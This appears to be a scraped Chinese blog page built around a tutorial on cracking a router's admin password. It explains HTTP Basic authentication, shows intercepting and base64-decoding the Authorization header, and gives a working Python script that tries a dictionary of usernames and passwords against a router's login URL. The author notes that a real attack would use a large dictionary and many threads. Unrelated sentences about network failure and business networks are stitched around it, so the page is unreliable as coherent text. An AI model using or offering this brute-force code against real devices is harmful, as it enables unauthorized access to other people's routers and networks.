网络故障(network failure)是指由于硬件的问题、软件的漏洞、病毒的侵入等引起网络无法提供正常服务或降低服务质量的状态。 先看上面的文章 ------------ Evi1m0 Daniel破解了路由器的连接密码,然后破解了路由器的管理登录密码. 此过程是一次性的,因此在这里我将详细讨论. 首先,什么是http基本认证? 在HTTP协议进行通信的过程中,HTTP协议定义了基本认证过程以允许HTTP服务器对WEB浏览器进行用户的方法,当一个客户端向HTTP服务 器进行数据请求时,如果客户端未被认证,则HTTP服务器将通过基本认证过程对客户端的用户名及密码进行验证,以决定用户是否合法。客户端在接收到HTTP服务器的身份认证要求后,会提示用户输入用户名及密码,然后将用户名及密码以BASE64加密,加密后的密文将附加于请求信息中, 如当用户名为anjuta,密码为:123456时,客户端将用户名和密码用“:”合并,并将合并后的字符串用BASE64加密为密文,并于每次请求数据 时,将密文附加于请求头(Request Header)中。HTTP服务器在每次收到请求包后,根据协议取得客户端附加的用户信息(BASE64加密的用户名和密码),解开请求包,对用户名及密码进行验证,如果用 户名及密码正确,则根据客户端请求,返回客户端所需要的数据;否则,返回错误代码或重新要求客户端提供用户名及密码。 让我们先抓取数据包,看看http标头是什么样子. 我使用firefox +篡改数据,请先安装此插件. 安装后,按Alt键显示菜单栏,工具-篡改数据, 打开路由器的登录URL,我的是 点击上方的启动篡改,然后输入帐户密码, 点击篡改以拦截此请求,然后您可以看到 请参阅授权,以下显然是base64编码的内容,让我们对其进行解码并查看 这是我们的帐户密码,中间带有一个冒号,然后是base64编码. 了解基本原理,我们可以编写一个程序来破解它. 找到一个帐户和密码字典,对其进行编码,然后将其添加到http标头中. 这很容易. #coding:utf-8 import base64 import urllib2 password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]] request = urllib2.Request('http://192.168.1.253') #request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=') for item in password_dic: psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1]) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "Correct! Username: %s, password: %s" % (item[0], item[1]) break except urllib2.HTTPError: print "Error!" 使用python随附的urllib2,上面的password_dic由我自己编写. 如果您真的想破解它,它将有一个大词典,它将在多个线程中运行. request.add_header('Authorization', psw_base64)
当今,越来越多的业务应用运行于网络架构之上,保障网络的持续、高效、安全的运行,成为网络管理者面临的巨大挑战。 |
温馨提示:喜欢本站的话,请收藏一下本站!